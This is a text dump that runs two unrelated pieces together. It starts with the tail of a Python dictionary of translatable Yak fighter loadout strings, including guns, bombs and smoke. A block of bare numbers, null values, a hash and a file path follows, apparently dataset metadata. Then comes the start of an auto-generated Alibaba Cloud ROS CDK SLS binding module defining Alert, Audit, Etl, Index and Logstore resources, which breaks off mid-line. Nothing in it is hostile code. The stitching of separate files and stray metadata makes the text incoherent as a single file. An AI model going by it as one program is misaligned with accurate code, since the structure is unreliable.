pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 40: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 41: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'yak-1b ser.127': { 0: pgettext_lazy('aircraft_payload', 'UB AP/HE [220], SHVAK AP/HE [140]'), 1: pgettext_lazy('aircraft_payload', 'UB AP/HE [220], SHVAK AP/HE [140], FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'UB AP/HE [220], SHVAK AP/HE [140], FAB-100M [2]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'yak-1 ser.69': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [2]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [2]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [2]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [2]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [6]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [6]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [6]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], ROS-82 [6]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], FAB-50sv [2]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [120], FAB-100M [2]'), 11: pgettext_lazy('aircraft_payload', 'Empty'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'yak-7b ser.36': { 0: pgettext_lazy('aircraft_payload', 'UB AP/HE [400], SHVAK AP/HE [120]'), 1: pgettext_lazy('aircraft_payload', 'UB AP/HE [400], SHVAK AP/HE [120], FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'UB AP/HE [400], SHVAK AP/HE [120], FAB-100M [2]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'yak-9 ser.1': { 0: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], SHVAK AP/HE [120]'), 1: pgettext_lazy('aircraft_payload', 'Empty'), 2: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 4: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'yak-9t ser.1': { 0: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], NS-37 AP/HE [30]'), 1: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], NS-37 AP [30]'), 2: pgettext_lazy('aircraft_payload', 'UB AP/HE [200], NS-37 HE [30]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, }
76.225193
121
0.604655
21,772
148,258
3.952094
0.01603
0.313615
0.417456
0.563566
0.989947
0.979766
0.970539
0.895392
0.859353
0.846836
0
0.136957
0.211422
148,258
1,944
122
76.264403
0.599018
0
0
0.42393
0
0.183084
0.563781
0
0
0
0
0
0
1
0.000516
false
0
0.001031
0
0.002579
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6826b42e01c71dffee94dd3faf4f58eb22670a2d
336,733
py
Python
multiple-languages/python/ros-cdk-sls-1.0.4/src/ros_cdk_sls/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
multiple-languages/python/ros-cdk-sls-1.0.4/src/ros_cdk_sls/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
multiple-languages/python/ros-cdk-sls-1.0.4/src/ros_cdk_sls/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
''' ## Aliyun ROS SLS Construct Library This module is part of the AliCloud ROS Cloud Development Kit (ROS CDK) project. ```python import * as SLS from '@alicloud/ros-cdk-sls'; ``` ''' import abc import builtins import datetime import enum import typing import jsii import publication import typing_extensions from ._jsii import * import ros_cdk_core class Alert( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Alert", ): '''A ROS resource type: ``ALIYUN::SLS::Alert``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "AlertProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Alert``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: '''Attribute Name: Alert name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.AlertProps", jsii_struct_bases=[], name_mapping={"detail": "detail", "project": "project"}, ) class AlertProps: def __init__( self, *, detail: typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable], project: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::SLS::Alert``. :param detail: Property detail:. :param project: Property project: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' self._values: typing.Dict[str, typing.Any] = { "detail": detail, "project": project, } @builtins.property def detail( self, ) -> typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable]: '''Property detail:.''' result = self._values.get("detail") assert result is not None, "Required property 'detail' is missing" return typing.cast(typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable], result) @builtins.property def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property project: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project") assert result is not None, "Required property 'project' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "AlertProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class ApplyConfigToMachineGroup( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.ApplyConfigToMachineGroup", ): '''A ROS resource type: ``ALIYUN::SLS::ApplyConfigToMachineGroup``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: typing.Optional["ApplyConfigToMachineGroupProps"] = None, enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::ApplyConfigToMachineGroup``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.ApplyConfigToMachineGroupProps", jsii_struct_bases=[], name_mapping={ "config_name": "configName", "group_name": "groupName", "project_name": "projectName", }, ) class ApplyConfigToMachineGroupProps: def __init__( self, *, config_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, project_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::ApplyConfigToMachineGroup``. :param config_name: Property configName: Apply config to the config name. :param group_name: Property groupName: Apply config to the group name. :param project_name: Property projectName: Apply config to the project name. ''' self._values: typing.Dict[str, typing.Any] = {} if config_name is not None: self._values["config_name"] = config_name if group_name is not None: self._values["group_name"] = group_name if project_name is not None: self._values["project_name"] = project_name @builtins.property def config_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property configName: Apply config to the config name.''' result = self._values.get("config_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property groupName: Apply config to the group name.''' result = self._values.get("group_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property projectName: Apply config to the project name.''' result = self._values.get("project_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ApplyConfigToMachineGroupProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Audit( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Audit", ): '''A ROS resource type: ``ALIYUN::SLS::Audit``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "AuditProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Audit``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDisplayName") def attr_display_name(self) -> ros_cdk_core.IResolvable: '''Attribute DisplayName: Name of SLS log audit.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDisplayName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.AuditProps", jsii_struct_bases=[], name_mapping={ "display_name": "displayName", "variable_map": "variableMap", "multi_account": "multiAccount", }, ) class AuditProps: def __init__( self, *, display_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], variable_map: typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"], multi_account: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Audit``. :param display_name: Property displayName: Name of SLS log audit. :param variable_map: Property variableMap: Log audit detailed configuration. :param multi_account: Property multiAccount: Multi-account configuration, please fill in multiple aliuid. ''' self._values: typing.Dict[str, typing.Any] = { "display_name": display_name, "variable_map": variable_map, } if multi_account is not None: self._values["multi_account"] = multi_account @builtins.property def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property displayName: Name of SLS log audit.''' result = self._values.get("display_name") assert result is not None, "Required property 'display_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def variable_map( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"]: '''Property variableMap: Log audit detailed configuration.''' result = self._values.get("variable_map") assert result is not None, "Required property 'variable_map' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosAudit.VariableMapProperty"], result) @builtins.property def multi_account( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]]: '''Property multiAccount: Multi-account configuration, please fill in multiple aliuid.''' result = self._values.get("multi_account") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "AuditProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Etl( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Etl", ): '''A ROS resource type: ``ALIYUN::SLS::Etl``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "EtlProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Etl``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: '''Attribute Name: ETL name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.EtlProps", jsii_struct_bases=[], name_mapping={ "configuration": "configuration", "display_name": "displayName", "name": "name", "project_name": "projectName", "schedule": "schedule", "description": "description", }, ) class EtlProps: def __init__( self, *, configuration: typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"], display_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], schedule: typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"], description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Etl``. :param configuration: Property configuration: The configuration of ETL task. :param display_name: Property displayName: ETL display name. :param name: Property name: ETL name. :param project_name: Property projectName: Project name. :param schedule: Property schedule: Task scheduling strategy. :param description: Property description: ETL description message. ''' self._values: typing.Dict[str, typing.Any] = { "configuration": configuration, "display_name": display_name, "name": name, "project_name": project_name, "schedule": schedule, } if description is not None: self._values["description"] = description @builtins.property def configuration( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"]: '''Property configuration: The configuration of ETL task.''' result = self._values.get("configuration") assert result is not None, "Required property 'configuration' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"], result) @builtins.property def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property displayName: ETL display name.''' result = self._values.get("display_name") assert result is not None, "Required property 'display_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property name: ETL name.''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property projectName: Project name.''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def schedule( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"]: '''Property schedule: Task scheduling strategy.''' result = self._values.get("schedule") assert result is not None, "Required property 'schedule' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"], result) @builtins.property def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property description: ETL description message.''' result = self._values.get("description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "EtlProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Index( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Index", ): '''A ROS resource type: ``ALIYUN::SLS::Index``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "IndexProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Index``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.IndexProps", jsii_struct_bases=[], name_mapping={ "full_text_index": "fullTextIndex", "logstore_name": "logstoreName", "project_name": "projectName", "key_indices": "keyIndices", "log_reduce": "logReduce", }, ) class IndexProps: def __init__( self, *, full_text_index: typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"], logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], key_indices: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]] = None, log_reduce: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Index``. :param full_text_index: Property fullTextIndex: Full-text indexing configuration. Full-text indexing and key indexing must have at least one enabled. :param logstore_name: Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param project_name: Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param key_indices: Property keyIndices: Key index configurations. Full-text indexing and key indexing must have at least one enabled. :param log_reduce: Property logReduce: Whether to enable log reduce. Default to false. ''' self._values: typing.Dict[str, typing.Any] = { "full_text_index": full_text_index, "logstore_name": logstore_name, "project_name": project_name, } if key_indices is not None: self._values["key_indices"] = key_indices if log_reduce is not None: self._values["log_reduce"] = log_reduce @builtins.property def full_text_index( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"]: '''Property fullTextIndex: Full-text indexing configuration. Full-text indexing and key indexing must have at least one enabled. ''' result = self._values.get("full_text_index") assert result is not None, "Required property 'full_text_index' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"], result) @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def key_indices( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]]: '''Property keyIndices: Key index configurations. Full-text indexing and key indexing must have at least one enabled. ''' result = self._values.get("key_indices") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]], result) @builtins.property def log_reduce( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: '''Property logReduce: Whether to enable log reduce. Default to false. ''' result = self._values.get("log_reduce") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "IndexProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Logstore( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Logstore", ): '''A ROS resource type: ``ALIYUN::SLS::Logstore``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "LogstoreProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Logstore``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrLogstoreName") def attr_logstore_name(self) -> ros_cdk_core.IResolvable: '''Attribute LogstoreName: Logstore name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrLogstoreName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.LogstoreProps", jsii_struct_bases=[], name_mapping={ "logstore_name": "logstoreName", "project_name": "projectName", "append_meta": "appendMeta", "auto_split": "autoSplit", "enable_tracking": "enableTracking", "encrypt_conf": "encryptConf", "max_split_shard": "maxSplitShard", "preserve_storage": "preserveStorage", "shard_count": "shardCount", "ttl": "ttl", }, ) class LogstoreProps: def __init__( self, *, logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], append_meta: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, auto_split: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, enable_tracking: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, encrypt_conf: typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]] = None, max_split_shard: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, preserve_storage: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, shard_count: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Logstore``. :param logstore_name: Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param project_name: Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param append_meta: Property appendMeta: Whether to add client external network IP and log arrival time after receiving the log. Default to false. :param auto_split: Property autoSplit: Whether to automatically split the shard. Default to false. :param enable_tracking: Property enableTracking: Whether to enable WebTracking, which supports fast capture of various browsers and iOS/Android/APP access information. Default to false. :param encrypt_conf: Property encryptConf: Data encryption config. :param max_split_shard: Property maxSplitShard: The maximum number of shards when splitting automatically. Must be specified if AutoSplit is set to true. Allowed Values: 1-64. :param preserve_storage: Property preserveStorage: Whether to keep the log permanently. If set to true, TTL will be ignored. Default to false. :param shard_count: Property shardCount: The number of Shards. Allowed Values: 1-100, default to 2. :param ttl: Property ttl: The lifecycle of log in the logstore in days. Allowed Values: 1-3600, default to 30. ''' self._values: typing.Dict[str, typing.Any] = { "logstore_name": logstore_name, "project_name": project_name, } if append_meta is not None: self._values["append_meta"] = append_meta if auto_split is not None: self._values["auto_split"] = auto_split if enable_tracking is not None: self._values["enable_tracking"] = enable_tracking if encrypt_conf is not None: self._values["encrypt_conf"] = encrypt_conf if max_split_shard is not None: self._values["max_split_shard"] = max_split_shard if preserve_storage is not None: self._values["preserve_storage"] = preserve_storage if shard_count is not None: self._values["shard_count"] = shard_count if ttl is not None: self._values["ttl"] = ttl @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def append_meta( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: '''Property appendMeta: Whether to add client external network IP and log arrival time after receiving the log. Default to false. ''' result = self._values.get("append_meta") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def auto_split( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: '''Property autoSplit: Whether to automatically split the shard. Default to false. ''' result = self._values.get("auto_split") return typing.cast(typing.Optional[typing.Union[builtins.bool, 